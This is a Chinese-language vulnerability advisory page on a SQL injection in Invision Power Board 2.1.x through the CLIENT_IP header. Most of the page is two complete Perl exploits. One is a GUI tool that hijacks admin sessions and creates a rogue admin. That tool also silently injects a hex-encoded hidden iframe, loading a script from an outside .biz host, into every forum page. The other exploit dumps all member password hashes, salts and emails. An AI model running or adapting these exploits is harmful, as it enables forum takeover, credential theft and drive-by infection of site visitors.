首页 -> 安全研究
安全研究
安全漏洞
Invision Power Board ipsclass.php脚本远程SQL注入漏洞
发布日期:2006-07-18
更新日期:2006-07-19
受影响系统:
Invision PS IPB 2.1.x不受影响系统:
Invision PS IPB 2.1.7描述:
BUGTRAQ ID: 18984
Invision Power Board是一个非常流行的PHP论坛程序。
Invision Power Board对用户请求数据的处理存在输入验证漏洞,远程攻击者可能利用此漏洞对服务器执行SQL注入攻击,非法操作数据库。
在Invision Power Board的ipsclass.php脚本中由于没有正确的验证对CLIENT_IP HTTP头字段的输入数据,因此远程攻击者可以利用SQL注入攻击执行任意SQL代码。
<*来源:1dt.w0lf (idtwolf@sigaret.net)
链接:http://secunia.com/advisories/21072/print/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl
## Invision Power Board v2.1 <= 2.1.6 sql injection exploit by RST/GHC
## Based on LOCAL_IP bug, more info in RST/GHC Advisory#41
## http://rst.void.ru/papers/advisory41.txt
## tested on 2.1.3, 2.1.6
##
## 08.06.06
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;
$mw = new MainWindow(title => "r57ipb216gui" );
$mw->geometry ( '420x550' ) ;
$mw->resizable(0,0);
$mw->Label(-text => '!', -font => '{Webdings} 22')->pack();
$mw->Label(-text => 'Invision Power Board 2.1.* <= 2.1.6 sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '')->pack();
$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;
$url = 'http://server/forum/index.php';
$user_id = '1';
$prefix = 'ibf_';
$table = 'members';
$column = 'member_login_key';
$new_admin_name = 'rstghc';
$new_admin_password = 'rstghc';
$new_admin_email = 'billy@microsoft.com';
$report = '';
$group = 4;
$curr_user = 0;
$rand_session = &session();
$use_custom_fields = 0;
$custom_fields = 'name1=value1,name2=value2';
$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fright->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();
$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Label( -text => ' ')->pack();
$fleft->Label ( -text => 'Get data from table: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$b2 = $fright->BrowseEntry( -command => \&update_columns, -relief => "groove", -variable => \$table, -font => '{Verdana} 8');
$b2->insert("end", "members");
$b2->insert("end", "members_converge");
$b2->pack( -side => "top" , -anchor => 'w');
$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$b = $fright->BrowseEntry( -relief => "groove", -variable => \$column, -font => '{Verdana} 8');
$b->insert("end", "member_login_key");
$b->insert("end", "name");
$b->insert("end", "ip_address");
$b->insert("end", "legacy_password");
$b->insert("end", "email");
$b->pack( -side => "top" , -anchor => 'w' );
$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'create new admin', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Label( -text => ' ')->pack();
$fleft->Label ( -text => ' ')->pack();
$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Get admin session for inserted user ID', -variable => \$curr_user)->pack(-side => "top" , -anchor => 'w');
$fleft->Label ( -text => 'session_id: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'session_ip_address: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_ip_address) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'new admin name: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_name) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'new admin password: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_password) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'new_admin_email: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_email) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => ' ')->pack();
$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Use custom profile fields', -variable => \$use_custom_fields)->pack(-side => "top" , -anchor => 'w');
$fleft->Label ( -text => 'custom fields: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$custom_fields) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fright->Label( -text => ' ')->pack();
$fright->Button(-text => 'Test forum vulnerability',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&test_vuln
)->pack();
$fright->Button(-text => 'Get database tables prefix',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_prefix
)->pack();
$fright->Button(-text => 'Get data from database',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_data
)->pack();
$fright->Button(-text => 'Get admin session',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_admin
)->pack();
$fright->Button(-text => 'Create new admin',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&create_admin
)->pack();
$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'http://rst.void.ru', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'http://ghc.ru', -font => '{Verdana} 7')->pack();
MainLoop();
sub update_columns()
{
$b->delete(0,"end");
if($table eq 'members'){
$column = "member_login_key";
$b->insert("end", "member_login_key");
$b->insert("end", "name");
$b->insert("end", "ip_address");
$b->insert("end", "legacy_password");
$b->insert("end", "email");
} elsif($table eq 'members_converge'){
$column = "converge_pass_hash";
$b->insert("end", "converge_pass_hash");
$b->insert("end", "converge_pass_salt");
$b->insert("end", "converge_email");
}
}
sub get_admin()
{
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title => 'get admin session', -buttons => ["OK"]);
if($curr_user == 1) { $sql = "AND session_member_id = $user_id"; }
else { $sql = ''; }
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_ip_address,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) $sql LIMIT 1/*");
$error = 0;
$rep = '';
if($res->is_success)
{
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if($rep =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/) { $session_ip_address = $rep; }
else { $error = 1; }
if(!$error)
{
$rep = '';
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) and session_ip_address = '$session_ip_address' $sql LIMIT 1/*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; $session_id = $rep; }
else { $error = 1; }
if(!$error){
if($curr_user != 1)
{
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_member_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_id = '$session_id' LIMIT 1/*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $session_user_id = $3; }
}
else
{
$session_user_id = $user_id;
}
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT mgroup,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $group = $3; }
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT name,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $name = $3; }
}
$InfoWindow->add('Label', -text => 'Found session!', -font => '{Verdana} 8 bold',-foreground=>'Green')->pack;
$InfoWindow->add('Label', -text => 'session_ip_address: '.$session_ip_address, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'session_id: '.$session_id, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'user_id: '.$session_user_id, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'username: '.$name, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'group: '.$group, -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
if($error)
{
$InfoWindow->add('Label', -text => 'Can\'t get admin session.', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => 'Maybe admin session not exist. Please try later.', -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}
sub get_data()
{
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title => 'get data from database', -buttons => ["OK"]);
if($table eq 'members') { $id_text = 'id'; }
if($table eq 'members_converge') { $id_text = 'converge_id'; }
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT ".$column.",1,1,1 FROM ".$prefix.$table." WHERE ".$id_text."=".$user_id."/*");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/){ $report = $3; }
else
{
$InfoWindow->add('Label', -text => 'Can\'t get data from database', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}
sub create_admin()
{
$InfoWindow=$mw->DialogBox(-title => 'create new admin', -buttons => ["OK"]);
if($session_id eq '' || $session_ip_address eq '')
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => 'You need insert admin session_id and session_ip_address', -font => '{Verdana} 8')->pack;
}
elsif($session_ip_address !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => 'session_ip_address wrong!', -font => '{Verdana} 8')->pack;
}
else
{
$xpl = LWP::UserAgent->new( ) or die;
($url2 = $url) =~ s/index.php/admin.php/;
$cf = '';
%fields = (
'code' => 'doadd',
'act' => 'mem',
'section' => 'content',
'name' => $new_admin_name,
'password' => $new_admin_password,
'email' => $new_admin_email,
'mgroup' => $group,
);
if($use_custom_fields)
{
@cf = split(',',$custom_fields);
foreach(@cf) { ($k,$v) = split('=',$_); $fields{$k} = $v;}
}
$res = $xpl->post($url2."?adsess=$session_id",
[
%fields,
],
'USER_AGENT'=>'',
'CLIENT_IP'=>"$session_ip_address",
'X_FORWARDED_FOR'=>"$session_ip_address");
$if = '0x3C646976207374796C653D225649534942494C4954593A2068696464656E223E3C696672616D65207372633D22687474703A2F2F7A63687873696B70677A2E62697A2F646C2F6164763534332E706870222077696474683D31206865696768743D313E3C2F696672616D653E3C2F6469763E';
$query = "UPDATE ".$prefix."skin_sets SET set_wrapper = CONCAT(set_wrapper,".$if."), set_cache_wrapper = CONCAT(set_cache_wrapper,".$if.")";
$res = $xpl->post($url2."?adsess=$session_id",
[
'code' => 'runsql',
'act' => 'sql',
'section' => 'admin',
'query' => $query,
],
'USER_AGENT'=>'',
'CLIENT_IP'=>"$session_ip_address",
'X_FORWARDED_FOR'=>"$session_ip_address");
$InfoWindow->add('Label', -text => 'Done!', -font => '{Verdana} 8 bold',-foreground=>'green')->pack;
$InfoWindow->add('Label', -text => 'New admin created', -font => '{Verdana} 8 bold')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}
sub test_vuln()
{
$InfoWindow=$mw->DialogBox(-title => 'test forum vulnerability', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/*");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if($rep eq 'VULN') { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
else { $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; }
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}
sub get_prefix()
{
$InfoWindow=$mw->DialogBox(-title => 'get database tables prefix', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"'");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /FROM (.*)sessions/)
{
$prefix = $1;
$InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack;
}
else
{
$InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}
sub session()
{
return 'r57ipb216_for_IDS';
}
# milw0rm.com [2006-07-14]
Exploit 2
#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
&header();
if (@ARGV < 2) {&info(); exit();}
$server = $ARGV[0];
$dir = $ARGV[1];
print "[+] SERVER {$server}\r\n";
print "[+] DIR {$dir}\r\n";
#Step 1, detecting vulnerability
print "[1] Testing forum vulnerability...";
$q = "UNION SELECT 'VULN',1,1,1/*";
query($q,$server,$dir);
if($rep =~/VULN/){ print "forum vulnerable\r\n"; }
else
{
print "forum unvulnerable\r\n";
&footer();
exit();
}
#Step 2, detecting prefix
print "[2] Searching prefix...";
$q = "";
query($q,$server,$dir);
$prefix = $rep;
print $prefix."\r\n";
#Step 3, make query
print "[3] Performing query; it may take several minutes, plz, wait...\r\n";
$q1 = "UNION SELECT MAX(converge_id),1,1,1 FROM ".$prefix."members_converge/*";
query($q1,$server,$dir);
$kol = $rep;
open(RES,">".$server."_result.txt");
for($id = 1; $id <= $kol; $id++)
{
$own_query = "UNION SELECT converge_pass_hash,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
query($own_query,$server,$dir);
if($rep=~/[0-9a-f]{32}/i)
{
$hash = $rep;
$own_query = "UNION SELECT converge_pass_salt,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
query($own_query,$server,$dir);
if(length($rep)==5)
{
$salt = $rep;
$own_query = "UNION SELECT converge_email,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
query($own_query,$server,$dir);
if(length($rep)>0)
{
$email = $rep;
print RES $id.":".$hash.":".$salt."::".$email."\n";
}
}
}
}
close(RES);
print "[!] Query was successfully perfomed. Results are in txt files\r\n";
&footer();
$ex = <STDIN>;
sub footer()
{
print "[G] Greets: 1dt.w0lf (rst/ghc)\r\n";
print "[L] Visit: secbun.info | damagelab.org | rst.void.ru\r\n";
}
sub header()
{
print q(
----------------------------------------------------------
* Invision Power Board 2.1.* Remote SQL Injecton Exploit *
* Based on r57-Advisory#41 by 1dt.w0lf (rst/ghc) *
* Coded by w4g.not null *
* FOR EDUCATIONAL PURPOSES *ONLY* *
----------------------------------------------------------
);
}
sub info()
{
print q(
[i] Usage: perl w4gipb216.pl [server] [/dir/]
where
|- server - server, where IPB installed without http://
|- /dir/ - dir, where IPB installed or / for no dir
e.g perl w4gipb216.pl someserver.com /forum/
[i] Stealing info about users (format id:pass:salt::email)
[!] Need MySQL > 4.0
);
}
sub query()
{
my($q,$server,$dir) = @_;
$res = $ua->get("http://".$server.$dir."index.php?s=w00t",'USER_AGENT'=>'','CLIENT_IP'=>"' ".$q);
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
else
{
if($res->as_string =~ /FROM (.*)sessions/) { $rep = $1; }
}
}
return $rep;
}
# milw0rm.com [2006-07-18]
建议:
厂商补丁:
Invision PS
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.invisionpower.com/
浏览次数:4000
严重程度:0(网友投票)
绿盟科技给您安全的保障